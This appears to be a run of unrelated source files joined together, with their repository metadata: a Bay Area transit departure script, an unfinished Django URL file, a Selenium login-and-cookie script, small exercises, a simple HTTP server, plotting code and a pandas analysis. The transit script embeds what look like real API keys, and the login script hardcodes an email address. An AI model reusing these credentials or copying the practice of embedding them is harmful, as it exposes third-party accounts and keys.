['37.78145,-122.40475', '13170', '5th St and Howard St'], ['37.787214,-122.409962', '17649', 'Mason St and Geary Blvd'], ['37.706149,-122.460674', '17648', 'Mission St and San Jose St'], ['37.779171,-122.464239', '13175', '6th Ave and Anza St'], ['37.77549,-122.39716', '13174', '5th St and Townsend St'], ['37.72722,-122.46678', '17103', 'Ocean Ave and Cerritos Ave'], ['37.73183,-122.493622', '16542', 'Sunset Blvd and Ocean Ave'], ['37.76195,-122.46952', '17081', 'Judah St and 12th Ave'], ['37.76192,-122.47367', '17083', 'Judah St and 16th Ave'], ['37.7618,-122.47278', '17082', 'Judah St and 15th Ave'], ['37.76178,-122.47684', '17085', 'Judah St and 19th Ave'], ['37.76161,-122.47718', '17084', 'Judah St and 19th Ave'], ['37.76135,-122.48652', '17087', 'Judah St and 28th Ave'], ['37.76158,-122.48118', '17086', 'Judah St and 23rd Ave'], ['37.76134,-122.48355', '17089', 'Judah St and 25th Ave'], ['37.76118,-122.48676', '17088', 'Judah St and 28th Ave'], ['37.731508,-122.443977', '15427', 'Monterey Blvd and Detroit St'], ['37.731642,-122.444607', '15426', 'Monterey Blvd and Detroit St'], ['37.7315,-122.43726', '15421', 'Monterey Blvd and Acadia St'], ['37.731668,-122.437768', '15420', 'Monterey Blvd and Acadia St'], ['37.731516,-122.439853', '15423', 'Monterey Blvd and Baden St'], ['37.731668,-122.439635', '15422', 'Monterey Blvd and Baden St'], ['37.748853,-122.436162', '14390', 'Diamond St and Clipper St'], ['37.722895,-122.394842', '14648', 'Fitzgerald Ave and Keith St'], ['37.748683,-122.43599', '14391', 'Diamond St and Clipper St'], ['37.789537,-122.420381', '15995', 'Polk St and Pine St'], ['37.735666,-122.392079', '17034', 'Oakdale Ave and Newhall St'], ['37.79773,-122.45897', '15636', 'Moraga Ave and Graham St'], ['37.735682,-122.392358', '17035', 'Oakdale Ave and Newhall St'], ['37.793463,-122.393404', '16495', 'Steuart St and Mission St'], ['37.748201,-122.433893', '17290', 'Castro St and 26th St'], ['37.79415,-122.394263', '16497', 'Steuart St and Mission St'], ['37.76917,-122.453075', '14963', 'Haight St and Stanyan St'], ['37.796627,-122.437137', '16491', 'Steiner St and Union St'], ['37.76281,-122.4285', '13308', 'Church St and 18th St'], ['37.794887,-122.436789', '16493', 'Steiner St and Vallejo St'], ['37.72402,-122.40763', '15028', 'Holyoke St and Woolsey St'], ['37.719988,-122.463459', '14246', 'Garfield St and Bright St'], ['37.73478,-122.47187', '16464', 'Sloat Blvd and West Portal Ave'], ['37.778039,-122.418214', '17037', 'Polk St and Lech Walesa St'], ['37.793356,-122.393255', '16499', 'Steuart St and Mission St'], ['37.79324,-122.393324', '16498', 'Steuart St and Mission St'], ['37.78207,-122.41193', '14240', 'Golden Gate Ave and Jones St'], ['37.781826,-122.413999', '14241', 'Golden Gate Ave and Leavenworth St'], ['37.76141,-122.39646', '15520', 'Missouri St and 19th St'], ['37.74511,-122.47374', '13306', '17th Ave and Santiago St'], ['37.716286,-122.402302', '16949', 'Wilde Ave and Goettingen St'], ['37.796972,-122.435581', '17293', 'Fillmore St and Union St'], ['37.75727,-122.39575', '15524', 'Missouri St and Turner Ter'], ['37.76628,-122.43101', '16466', 'Sanchez St and 15th St'], ['37.795275,-122.421537', '15994', 'Polk St and Pacific Ave'], ['37.713852,-122.406724', '17039', 'Rutland St and Arleta Ave'], ['37.71687,-122.40413', '16943', '367 Wilde Ave'], ['37.71705,-122.40438', '16942', '356 Wilde Ave'], ['37.72994,-122.46947', '17105', 'Ocean Ave and San Leandro Way'], ['37.745695,-122.454058', '16940', 'Woodside Ave and Ulloa St'], ['37.716473,-122.400195', '16947', 'Wilde Ave and Girard St'], ['37.716615,-122.400252', '16946', 'Wilde Ave and Girard St'], ['37.71782,-122.40718', '16945', 'Wilde Ave and Delta St'], ['37.716357,-122.401237', '16944', 'Wilde Ave and Brussels St'], ['37.83612,-122.50241', '15497', 'Mccullough Rd and Bunker Rd'], ['37.72337,-122.436246', '17743', 'Persia St and Mission St'], ['37.736304,-122.391522', '15490', 'Newcomb Ave and Newhall St'], ['37.735796,-122.392175', '15491', 'Newhall St and Oakdale Ave'], ['37.767334,-122.407623', '17298', 'Potrero Ave&15th St'], ['37.784496,-122.421174', '17741', 'VAN NESS AVE and OFARRELL ST'], ['37.735171,-122.392737', '15492', 'Newhall St and Palou Ave'], ['37.772994,-122.418485', '17299', 'Mission St and South Van Ness Ave'], ['37.762375,-122.506143', '13574', '46th Ave and Irving St'], ['37.811692,-122.363782', '15493', 'Northgate Rd and Macalla St'], ['37.73956,-122.42442', '16279', 'San Jose Ave and Randolph St'], ['37.711241,-122.39358', '17747', 'Executive Park Blvd and Thomas Mellon Dr'], ['37.7483,-122.47614', '13384', '19th Ave and Quintara St'], ['37.791716,-122.432842', '16931', 'Washington St and Webster St'], ['37.74092,-122.466006', '16744', 'Ulloa St and West Portal Ave'], ['37.73973,-122.42402', '16278', 'San Jose Ave and Randolph St'], ['37.716241,-122.495342', '15125', '515 John Muir Dr'], ['37.76383,-122.41528', '14670', 'Folsom St and 17th St'], ['37.748068,-122.494766', '16547', 'Sunset Blvd and Quintara St'], ['37.749567,-122.49487', '16546', 'Sunset Blvd and Pacheco St'], ['37.749808,-122.495065', '16545', 'Sunset Blvd and Pacheco St'], ['37.751307,-122.495169', '16544', 'Sunset Blvd and Ortega St'], ['37.751798,-122.49502', '16543', 'Sunset Blvd and Ortega St'], ['37.789353,-122.401306', '15639', 'Market St and 2nd St'], ['37.732026,-122.493862', '16541', 'Sunset Blvd and Ocean Ave'], ['37.753297,-122.495124', '16540', 'Sunset Blvd and Noriega St'], ['37.736834,-122.432189', '15634', '33 Moffitt St'], ['37.79794,-122.45923', '15635', 'Moraga Ave and Graham St'], ['37.71534,-122.40619', '17041', 'Rutland St and Campbell Ave'], ['37.743473,-122.455776', '15255', 'Laguna Honda Blvd and Ulloa St'], ['37.71094,-122.435435', '15630', 'Munich St and Cordova Ave'], ['37.71293,-122.43295', '15631', 'Munich St and Geneva Ave'], ['37.711155,-122.438241', '15632', 'Munich St and Naples St'], ['37.747578,-122.494915', '16548', 'Sunset Blvd and Quintara St'], ['37.772034,-122.401821', '13197', '7th St and Townsend St'], ['37.765195,-122.481632', '15313', 'Lincoln Way and 23rd Ave'], ['37.779175,-122.410768', '13195', '7th St and Mission St'], ['37.777935,-122.409222', '13194', '7th St and Howard St'], ['37.72044,-122.44697', '17108', 'San Jose Ave and Geneva Ave'], ['37.760519,-122.506015', '13576', '46th Ave and Judah St'], ['37.773266,-122.403367', '13191', '7th St and Brannan St'], ['37.783133,-122.46542', '13190', '7th Ave and Clement St'], ['37.778383,-122.418311', '17463', 'Grove St and Polk St'], ['37.75352,-122.43875', '14444', 'Douglass St and Alvarado St'], ['37.796405,-122.410175', '15853', 'Pacific Ave and Powell St'], ['37.775183,-122.465923', '13199', '8th Ave and Cabrillo St'], ['37.79398,-122.39635', '14445', 'Drumm St and California St']]
}
def average_time_walking(origin, destination):
request_url = 'https://maps.googleapis.com/maps/api/directions/json?key=AIzaSyBmuKnR_Knh0tVhr67KbNuLndgkWOjKXnY&origin=' + origin + '&destination=' + destination + '&mode=walking'
if debug:
print("Maps Request URL:", request_url)
raw_location_data = requests.get(request_url)
json_location_data = raw_location_data.json()
if json_location_data['geocoded_waypoints'][0]['geocoder_status'] == 'ZERO_RESULTS':
print('No location results for the coordinates you specified.')
sys.exit()
walking_time_in_seconds = json_location_data['routes'][0]['legs'][0]['duration']['value']
if debug:
print("Duration:", walking_time_in_seconds)
return walking_time_in_seconds
def print_agency_list():
request_url = base_request_url + '/GetAgencies.aspx?token=' + api_token
if debug:
print('Request URL:', request_url)
agency_list = ET.fromstring(requests.get(request_url).content)
for agency in agency_list[0]:
if emoji:
if agency.attrib['Mode'] == 'Bus':
print('🚌 ' + agency.attrib['Name'])
elif agency.attrib['Mode'] == 'Rail':
print('🚆 ' + agency.attrib['Name'])
else:
print(agency.attrib['Name'])
def print_route_list():
if route_list.tag == "transitServiceError":
print("ERROR: " + str(stop_list.text))
sys.exit()
elif route_list[0][0].text.strip() == 'No Data Available':
print("No Data Available for agency: \"" + str(route_name) + "\"; Possible options:")
print_agency_list()
sys.exit()
elif route_list[0][0].attrib['HasDirection'] == "True":
for route in route_list[0][0][0]:
print(str(route.attrib['Name']) + ' (' + str(route.attrib['Code']) + ')')
for route_direction in route[0]:
print("\t" + str(route_direction.attrib['Name']))
else:
for route in route_list[0][0][0]:
print(str(route.attrib['Name']) + ' (' + str(route.attrib['Code']) + ')')
def print_stop_list():
if stop_list.tag == "transitServiceError":
print("ERROR: " + str(stop_list.text))
sys.exit()
elif stop_list[0][0].attrib['HasDirection'] == "True":
if len(stop_list[0][0]) == 0:
print("No results returned, check your stop code")
sys.exit()
for stops in stop_list[0][0][0][0][0]:
print("Direction: " + str(stops.attrib['Name']))
for stop in stops[0]:
print(str(stop.attrib['name']) + ' (' + str(stop.attrib['StopCode']) + ')')
else:
if len(stop_list[0][0]) == 0:
print("No results (you must specify a route code, not name, when calling an agency with no direction)")
sys.exit()
else:
for stop in stop_list[0][0][0][0][0]:
print(str(stop.attrib['name']) + ' (' + str(stop.attrib['StopCode']) + ')')
def print_departure_times():
routes_to_print = {}
if departure_times.tag == "transitServiceError":
print("ERROR: " + str(departure_times.text))
sys.exit()
elif departure_times[0][0].text.strip() == "No Predictions Available":
print("No Predictions Available (check stop identifier)")
sys.exit()
for agency in departure_times[0]:
agency_name = agency.attrib['Name']
has_direction = agency.attrib['HasDirection']
if agency.attrib['Mode'] == 'Bus':
agency_name_decorated = '🚌 ' + agency.attrib['Name']
elif agency.attrib['Mode'] == 'Rail':
agency_name_decorated = '🚆 ' + agency.attrib['Name']
for route in agency[0]:
route_name = route.attrib['Name']
if has_direction == "False":
for stop in route[0]:
stop_name = stop.attrib['name']
stop_code = stop.attrib['StopCode']
stop_times = []
for departure_time in stop[0]:
stop_times.append(int(departure_time.text))
routes_to_print[route_name] = {'agency_name': agency_name, 'agency_name_decorated': agency_name_decorated, 'route_name': route_name, 'stop_name': stop_name, 'stop_code': stop_code, 'stop_times': stop_times}
else:
for direction in route[0]:
direction_code = direction.attrib['Code']
for stop in direction[0]:
stop_name = stop.attrib['name']
stop_code = stop.attrib['StopCode']
stop_times = []
for departure_time in stop[0]:
stop_times.append(int(departure_time.text))
routes_to_print[route_name] = {'agency_name': agency_name, 'agency_name_decorated': agency_name_decorated, 'route_name': route_name, 'direction_code': direction_code, 'stop_name': stop_name, 'stop_code': stop_code, 'stop_times': stop_times}
# With location
if current_location is not None:
for route in routes_to_print:
if routes_to_print[route]['agency_name'] in stop_locations:
if debug:
print(str(routes_to_print[route]['agency_name']) + " has list of stop locations")
for stop_location in stop_locations[routes_to_print[route]['agency_name']]:
if routes_to_print[route]['stop_code'] == stop_location[1]:
routes_to_print[route]['stop_location'] = stop_location[0]
# Assuming all the stops returned for the stop requested are in the same location or at least very close
# This is so you don't have to call the Google Maps API too aggressively
stop_location = routes_to_print[list(routes_to_print.keys())[0]]['stop_location']
time_to_walk_to_stop = average_time_walking(current_location,stop_location) / 60
if debug:
print('Time to walk to stop in minutes: ' + str(time_to_walk_to_stop))
for route in routes_to_print:
if emoji:
if has_direction == "True":
print(str(routes_to_print[route]['agency_name_decorated']) + ' | ' + str(routes_to_print[route]['route_name']) + ' | ' + str(routes_to_print[route]['direction_code']) + ' | ' + str(routes_to_print[route]['stop_name']))
else:
print(str(routes_to_print[route]['agency_name_decorated']) + ' | ' + str(routes_to_print[route]['route_name']) + ' | ' + str(routes_to_print[route]['stop_name']))
else:
if has_direction == "True":
print(str(routes_to_print[route]['agency_name']) + ' | ' + str(routes_to_print[route]['route_name']) + ' | ' + str(routes_to_print[route]['direction_code']) + ' | ' + str(routes_to_print[route]['stop_name']))
else:
print(str(routes_to_print[route]['agency_name']) + ' | ' + str(routes_to_print[route]['route_name']) + ' | ' + str(routes_to_print[route]['stop_name']))
if len(routes_to_print[route]['stop_times']) == 0:
print("‼️ 🚷 No Current Predictions") if emoji else print("No Current Predictions")
else:
for stop_time in routes_to_print[route]['stop_times']:
if stop_time - time_to_walk_to_stop < -15:
print(str(stop_time) + ' ‼️ 🚷 More than 15 minutes late walking') if emoji else print(str(stop_time) + ' More than 15 minutes late walking')
elif stop_time - time_to_walk_to_stop < 0:
print(str(stop_time) + ' ‼️ 🏇 Might make it if you jog') if emoji else print(str(stop_time) + ' Might make it if you jog')
elif stop_time - time_to_walk_to_stop < 2:
print(str(stop_time) + ' 🏃💨 Less than 2 minute buffer') if emoji else print(str(stop_time) + ' Less than 2 minute buffer')
elif stop_time - time_to_walk_to_stop < 5:
print(str(stop_time) + ' 🏃 3 to 5 minute buffer') if emoji else print(str(stop_time) + ' 3 to 5 minute buffer')
elif stop_time - time_to_walk_to_stop < 10:
print(str(stop_time) + ' 🚶 5 to 10 minute buffer') if emoji else print(str(stop_time) + ' 5 to 10 minute buffer')
else:
print(str(stop_time) + ' 🐌 More than 10 minute buffer') if emoji else print(str(stop_time) + ' More than 10 minute buffer')
# Without location
else:
for route in routes_to_print:
if emoji:
if has_direction == "True":
print(str(routes_to_print[route]['agency_name_decorated']) + ' | ' + str(routes_to_print[route]['route_name']) + ' | ' + str(routes_to_print[route]['direction_code']) + ' | ' + str(routes_to_print[route]['stop_name']))
else:
print(str(routes_to_print[route]['agency_name_decorated']) + ' | ' + str(routes_to_print[route]['route_name']) + ' | ' + str(routes_to_print[route]['stop_name']))
else:
if has_direction == "True":
print(str(routes_to_print[route]['agency_name']) + ' | ' + str(routes_to_print[route]['route_name']) + ' | ' + str(routes_to_print[route]['direction_code']) + ' | ' + str(routes_to_print[route]['stop_name']))
else:
print(str(routes_to_print[route]['agency_name']) + ' | ' + str(routes_to_print[route]['route_name']) + ' | ' + str(routes_to_print[route]['stop_name']))
if len(routes_to_print[route]['stop_times']) == 0:
print("‼️ 🚷 No Current Predictions") if emoji else print("No Current Predictions")
else:
for stop_time in routes_to_print[route]['stop_times']:
print(stop_time)
base_request_url = 'http://services.my511.org/Transit2.0/'
api_token = '66b0f8d7-bf20-4aa6-be50-5f7580f9f2db'
if list_agencies:
print_agency_list()
if route_name is not None:
request_url = base_request_url + 'GetRoutesForAgency.aspx?token=' + api_token + '&agencyName=' + route_name
if debug:
print('Request URL:', request_url)
route_list = ET.fromstring(requests.get(request_url).content)
print_route_list()
if route_idf is not None:
request_url = base_request_url + 'GetStopsForRoute.aspx?token=' + api_token + '&routeIDF=' + route_idf
if debug:
print('Request URL:', request_url)
stop_list = ET.fromstring(requests.get(request_url).content)
print_stop_list()
if stop_code is not None:
request_url = base_request_url + 'GetNextDeparturesByStopCode.aspx?token=' + api_token + '&StopCode=' + stop_code
if debug:
print('Request URL:', request_url)
departure_times = ET.fromstring(requests.get(request_url).content)
print_departure_times()
if stop_name is not None:
if len(stop_name.split('~')) is not 2:
print("You need to pass a agency name and stop name seperated by a tide >> '~'")
sys.exit()
request_url = base_request_url + 'GetNextDeparturesByStopName.aspx?token=' + api_token + '&agencyName=' + stop_name.split('~')[0] + '&stopName=' + stop_name.split('~')[1]
if debug:
print('Request URL:', request_url)
departure_times = ET.fromstring(requests.get(request_url).content)
print_departure_times()
|
[
"filicealbert@gmail.com"
] |
filicealbert@gmail.com
|
b86fa88df6d9f0ccd2275ed3eab7031b8b77d765
|
2da6133f3cd5c5fc19355292d60253b8c0dbcd49
|
/.history/antz/urls_20200404013549.py
|
f99dbc532bd60eebcd25820adca5ab2100be000b
|
[] |
no_license
|
mirfarzam/python-advance-jadi-maktabkhooneh
|
b24f5c03ab88e3b12c166a439b925af92f50de49
|
d9bcecae73fd992f1290c6fd76761683bb512825
|
refs/heads/master
| 2021-05-25T21:33:37.782734
| 2020-04-07T22:39:28
| 2020-04-07T22:39:28
| 253,927,960
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 106
|
py
|
from django.urls import path
from . import views
urlpatterns = [
path('', views.index),
path()
]
|
[
"farzam.mirmoeini@gmail.com"
] |
farzam.mirmoeini@gmail.com
|
4e5e8085dec854165bb92503689eda01c69af4a0
|
2fbe97e689bc847ec950331266373ed1c674f6c3
|
/login.py
|
8a894a5dd4673e2011ef1a2b645afad97f98d8fc
|
[] |
no_license
|
chinaylssly/mooc
|
ab6bb5f3d6ea6f1f896f5d47624918e684b93721
|
fa0eeb3175c9b6123b71b5dc19aca64e03cc8b81
|
refs/heads/master
| 2020-04-05T20:31:21.336896
| 2018-11-12T09:02:58
| 2018-11-12T09:02:58
| 157,184,013
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,500
|
py
|
#_*_ coding:utf-8 _*_
'''
模拟登陆,获取cookies
'''
import time
from selenium import webdriver
def login():
'''selenium 模拟登陆'''
options = webdriver.ChromeOptions()
# 设置中文
options.add_argument('lang=zh_CN.UTF-8')
# 更换头部
options.add_argument('user-agent=Mozilla/5.0 (Windows; U; Windows NT 5.2) Gecko/2008070208 Firefox/3.0.1')
driver = webdriver.Chrome(chrome_options=options)
login_url = 'https://www.icourse163.org/'
driver.get(login_url)
time.sleep(2)
login_text=u'登录'.encode('utf-8')
login_class='f-f0 navLoginBtn'
login_xpath='//*[@id="auto-id-1530860345260"]'
login=driver.find_element_by_partial_link_text(login_text)
login.click()
print u'sleep 2 second wait frame load successfully'
time.sleep(2)
frame=driver.find_element_by_xpath('//*[@id="auto-id-1540203413007"]')
driver.switch_to.frame(frame)
email=driver.find_element_by_name('email')
password=driver.find_element_by_name('password')
print u'sleep 2 second wait load all source'
time.sleep(2)
email.send_keys('chinaylssly@163.com')
password.send_keys('你的密码')
button=driver.find_element_by_id('dologin')
button.click()
r=raw_input(u'if login success,please type any word:')
cookies=driver.get_cookies()
driver.quit()
d={}
for i in cookies:
d[i['name']]=i['value']
return d
if __name__ =='__main__':
login()
pass
|
[
"chinaylssly@qq.com"
] |
chinaylssly@qq.com
|
e3bb984cdf1e77bd1898da0a32ef2d94e2b0e8a0
|
26d59b2d18a9edf8610ace52223155d7a4465865
|
/problem 7.py
|
075409ab001bce47fb46fdb32c3d7229433df012
|
[] |
no_license
|
Subham47/Python-learning-week1
|
4eb8cde7d3ef4ccc990d77efb57d5228f41a683e
|
5bfb5d3890031a72a915b1ae76d0cb145901328b
|
refs/heads/master
| 2023-06-01T19:33:51.647333
| 2021-06-15T05:09:58
| 2021-06-15T05:09:58
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 328
|
py
|
#%%
def problem1_7():
b1=input("Enter the length of one of the bases:")
b2=input("Enter the length of the other base:")
h=input("Enter the height:")
x1=float(b1)
x2=float(b2)
x3=float(h)
A=((x1+x2)/2)*x3
print("The area of a trapezoid with bases",x1,"and",x2,"and height",x3,"is",A)
#%%
|
[
"subhamkumarsingh401@gmail.com"
] |
subhamkumarsingh401@gmail.com
|
7a86ac8e0a2dc73728feb986b20013fcaa807771
|
04a8f570d35d99058c1df97b9dbb843fb1843d13
|
/beginner/2-1-1_部分和問題/ABC079_C.py
|
e18a871a8d232bc15248d3ae375f66e312fe8993
|
[] |
no_license
|
knakajima3027/Ant-Book
|
61838cab20f4ff256040e645706ccaf93f9cc24f
|
9abe5808cbed4c6bc28a53adb2e2818f440f3721
|
refs/heads/master
| 2020-04-19T18:09:42.116639
| 2020-01-31T09:38:40
| 2020-01-31T09:38:40
| 168,355,366
| 3
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 660
|
py
|
N = input()
for x in ('+', '-'):
for y in ('+', '-'):
for z in ('+', '-'):
res = int(N[0])
if x == '+':
res += int(N[1])
else:
res -= int(N[1])
if y == '+':
res += int(N[2])
else:
res -= int(N[2])
if z == '+':
res += int(N[3])
else:
res -= int(N[3])
if res == 7:
result = N[0] + x + N[1] + y + N[2] + z + N[3] + '=7'
break
print(result)
|
[
"kamihate1012@gmail.com"
] |
kamihate1012@gmail.com
|
baa3b62b3f16878b48a79f5fc2289a3cfa64943a
|
dbe60b8d97f17cbdfb701219b135e8ce43fcb3ea
|
/Server.py
|
2434e89ccbf50df5cb5b8c89a025bf71cc392c20
|
[
"MIT"
] |
permissive
|
JosephGarrone/PyServer
|
77d18d65c2539a60027d4d861d48d3c1a6d40300
|
91dad964facf9586b00f940115b8e44038da9da5
|
refs/heads/master
| 2016-09-06T07:32:58.378267
| 2013-11-12T14:30:23
| 2013-11-12T14:30:23
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,954
|
py
|
from Webservice import Webservice
from Console import Console
from Constants import Constants
import http.server
import time
import datetime
class Server:
def __init__(self):
self.webservice = Webservice
self.console = Console()
self.constants = Constants()
self.started = False
self.menu()
def menu(self):
while self.started == False:
self.process(input("[" + datetime.datetime.fromtimestamp(time.time()).strftime('%H:%M:%S') + "] " + ">>: "))
def process(self, cmd):
cmds = cmd.split()
action = cmds[0]
parameter = -1
if len(cmds) > 1:
parameter = cmds[1]
if action == "start":
self.started = True
self.start()
elif parameter != -1:
if action == "port":
self.constants.port = int(parameter)
self.console.output("Port set to: " + str(self.constants.port))
elif action == "root":
self.constants.root = str(parameter)
self.console.output("Root directory set to: " + self.constants.root)
elif action == "address":
self.constants.address = str(parameter)
self.console.output("Address set to: " + self.constants.address)
else:
self.console.output("Unknown command")
def start(self):
try:
self.server = CustomHTTPServer(("127.0.0.1", self.constants.port), self.webservice, self.constants, self.console)
self.console.output("Server started. Ctrl + C to stop.")
self.console.output("Port: " + str(self.server.server_port))
self.console.output("Address: " + self.constants.address)
self.console.output("Root: " + self.constants.root)
self.server.serve_forever()
except KeyboardInterrupt:
self.console.output("Server has stopped")
self.menu()
class CustomHTTPServer(http.server.HTTPServer):
def __init__(self, serverAddress, requestHandlerClass, constants, console):
http.server.HTTPServer.__init__(self, serverAddress, requestHandlerClass)
self.constants = constants
self.console = console
if __name__ == "__main__":
server = Server()
|
[
"josephgarrone@gmail.com"
] |
josephgarrone@gmail.com
|
55e1d3b4fc357fcc1d48fe0fb4cea16976753281
|
c2f0dbf82cb28670e83fd2f1da1a1741a59554c5
|
/nonlinear/postprocess/plot_Lorentz_vpt_V_alpha.py
|
ea79253fafa527405f020906dae1a3638434b768
|
[
"MIT"
] |
permissive
|
ZdM87/higher-order-quantum-reservoir
|
526b8bf352ca6e07b19b28133b8a6e1af67db2ae
|
7fc75d03bb5ff2398d245ed7c5d7939fad00ef96
|
refs/heads/master
| 2023-08-12T08:18:50.762744
| 2021-10-07T01:44:48
| 2021-10-07T01:44:48
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 4,408
|
py
|
import sys
import os
import glob
import argparse
import numpy as np
import matplotlib.pyplot as plt
import plot_utils as putils
import matplotlib as mpl
from pathlib import Path
import re
if __name__ == '__main__':
# Check for command line arguments
parser = argparse.ArgumentParser()
parser.add_argument('--folder', type=str, default='lorentz')
parser.add_argument('--prefix', type=str, default='lorentz_phase_trans')
parser.add_argument('--posfix', type=str, default='T_20_100_100_seed_0')
parser.add_argument('--ymin', type=float, default='0.0')
parser.add_argument('--ymax', type=float, default='5.0')
parser.add_argument('--tau', type=float, default='10.0')
parser.add_argument('--noise', type=float, default='0.1')
parser.add_argument('--virtuals', type=str, default='5,10,15')
parser.add_argument('--Ntrials', type=int, default=10)
args = parser.parse_args()
print(args)
folder, prefix, posfix = args.folder, args.prefix, args.posfix
ymin, ymax = args.ymin, args.ymax
tau, noise, Ntrials = args.tau, args.noise, args.Ntrials
Vs = [int(x) for x in args.virtuals.split(',')]
cmap = plt.get_cmap("viridis")
fig, axs = plt.subplots(1, 1, figsize=(12, 6), squeeze=False)
axs = axs.ravel()
putils.setPlot(fontsize=24, labelsize=24)
#colors = plt.rcParams['axes.prop_cycle'].by_key()['color']
colors = putils.cycle
ntitle = ''
#alpha_ls = [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]
alpha_ls = np.linspace(0.0, 1.0, 21)
ax = axs[0]
dcl = 0
for V in Vs:
for cb_input in [1, 0]:
avg_rs, std_rs, xs = [], [], []
for alpha in alpha_ls:
local_vpt = []
for rfile in glob.glob('{}/log/{}*V_{}*_tau_{}*_alpha_{:.3f}_cb_{}*noise_{:.3f}*{}.log'.format(\
folder, prefix, V, tau, alpha, cb_input, noise, posfix)):
print(rfile)
ntitle = os.path.basename(rfile)
nidx = ntitle.find('cb_')
ntitle = ntitle[nidx:]
ntitle = ntitle.replace('.log', '')
with open(rfile, 'r') as rf:
lines = rf.readlines()
for line in lines:
if 'INFO' in line and 'pred_time_05' in line:
pred_time_05 = (float)(re.search('pred_time_05=([0-9.]*)', line).group(1))
local_vpt.append(pred_time_05)
if len(local_vpt) > 0:
avg_vpt, std_vpt = np.mean(local_vpt), np.std(local_vpt)
avg_rs.append(avg_vpt)
std_rs.append(std_vpt)
xs.append(alpha)
avg_rs, std_rs = np.array(avg_rs), np.array(std_rs)
color = colors[dcl]
if len(avg_rs) > 0:
#ax.errorbar(xs, avg_tests, yerr=std_tests, alpha = 0.8, color=color, elinewidth=2, linewidth=2, markersize=12)
ax.plot(xs, avg_rs, 's-', alpha = 0.8, linewidth=3, markersize=8, mec='k', mew=0.5, \
color=color, label='$V=${}, cb={}, $\\tau=${}'.format(V, cb_input, tau))
ax.fill_between(xs, avg_rs - std_rs, avg_rs + std_rs, facecolor=color, alpha=0.2)
dcl += 1
ax.set_xlabel('$\\alpha$', fontsize=24)
ax.set_xticks(np.linspace(0.0, 1.0, 11))
ax.set_xlim([0.0, 1.01])
#ax.set_xscale('log',base=10)
ax.set_ylabel('VPT($\\varepsilon=0.05$)', fontsize=24)
ax.set_ylim([ymin, ymax])
#ax.set_xticklabels(labels='')
#ax.set_yticklabels(labels='')
ax.grid(True, which="both", ls="-", color='0.65')
ax.legend(fontsize=12)
ax.set_title(ntitle, fontsize=12)
#ax.legend(bbox_to_anchor=(1.01, 1), loc='upper left', fontsize=14)
for ax in axs:
#ax.minorticks_on()
ax.tick_params('both', length=8, width=1, which='major', labelsize=20)
ax.tick_params('both', length=4, width=1, which='minor')
figsave = os.path.join(folder, 'resfigs')
os.makedirs(figsave, exist_ok=True)
outbase = os.path.join(figsave, 'trials_{}_tau_{}_{}'.format(Ntrials, tau, ntitle))
plt.tight_layout()
if ntitle != '':
for ftype in ['png']:
plt.savefig('{}.{}'.format(outbase, ftype), bbox_inches='tight')
plt.show()
|
[
"k09tranhoan@gmail.com"
] |
k09tranhoan@gmail.com
|
4f21f0d3e489a4a1bc24aed15a998951ab07161d
|
53ca9596602644f768b6b0f8cda4aa1ff656d12e
|
/bbt_bpm/config/desktop.py
|
ea41567b59e655c48259d54a6467166de2005dc9
|
[
"MIT"
] |
permissive
|
ARindictrans/BBT-I2E
|
4f705c9fa8fcff63a66aee9dfd69de118aa4149f
|
fbdbb4cec70e364c3e991e49d650aba6e349dde6
|
refs/heads/master
| 2023-08-14T05:09:04.385819
| 2021-09-24T06:05:21
| 2021-09-24T06:05:21
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 263
|
py
|
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from frappe import _
def get_data():
return [
{
"module_name": "Bbt Bpm",
"color": "grey",
"icon": "octicon octicon-file-directory",
"type": "module",
"label": _("Bbt Bpm")
}
]
|
[
"ashishkumar.r@indictrans.in"
] |
ashishkumar.r@indictrans.in
|
58731b5632d5be48847b83dee3c1c833a98b3c1b
|
0fb2853a6cbf60f0b94fcdaaa5e4adcb0f24b6d3
|
/Assignment 2/dags/actionable_insights.py
|
11d70fd94d24358e29657a5143f37fc456e4d53f
|
[] |
no_license
|
Team4INFO6105/Team4
|
56c898b792e2b60a6c64a643840f5136cefafbac
|
6ff861fbe573bb6cd0929341adef9f49b5f37b41
|
refs/heads/master
| 2020-05-16T05:18:57.436586
| 2019-04-27T00:58:09
| 2019-04-27T00:58:09
| 182,812,835
| 0
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 7,007
|
py
|
#!/usr/bin/env python
# coding: utf-8
# In[11]:
# import libraries
import pandas as pd
import string
import collections
import nltk
from nltk.corpus import stopwords
from nltk.util import ngrams
import glob
from nltk.tokenize import word_tokenize
import csv
import os
import plotly.graph_objs as go
import plotly as py
import squarify
import matplotlib
import matplotlib.pyplot as plt
from wordcloud import WordCloud, STOPWORDS, ImageColorGenerator
from collections import Counter
import pandas as pd
from adjustText import adjust_text
# In[12]:
df_final_data = pd.read_csv('/root/airflow/dags/FinalData.csv', encoding="ISO-8859-1")
# In[13]:
df_final_data.head(5)
# In[14]:
df=pd.DataFrame()
bank_1 = "Bank Of America"
count_no = 0
count_yes = 0
for index, row in df_final_data.iterrows():
bank_name = df_final_data.at[index,"Bank Name"]
fintech = df_final_data.at[index,"Fintech"]
if bank_1 == bank_name:
if fintech == "Yes":
count_yes += 1
else:
count_no += 1
else:
df=df.append({'Bank_Name':bank_1,'Count_yes':count_yes,'Count_no':count_no}, ignore_index=True)
bank_1 = bank_name
count_yes = 0
count_no = 0
if fintech == "Yes":
count_yes += 1
else:
count_no += 1
df=df.append({'Bank_Name':bank_1,'Count_yes':count_yes,'Count_no':count_no}, ignore_index=True)
# In[15]:
df
# In[16]:
def total(x,y):
return round(x+y)
def percent(x,y):
return round(((x/y) * 100),2)
df['Total'] = df.apply(lambda row: total(row['Count_yes'],row['Count_no']), axis=1)
df['Percent_Yes'] = df.apply(lambda row: percent(row['Count_yes'],row['Total']), axis=1)
df['Percent_No'] = df.apply(lambda row: percent(row['Count_no'],row['Total']), axis=1)
'''
for index, row in df_final_data.iterrows():
No = df.at[index,"Count_no"]
Yes = df.at[index,"Count_yes"]
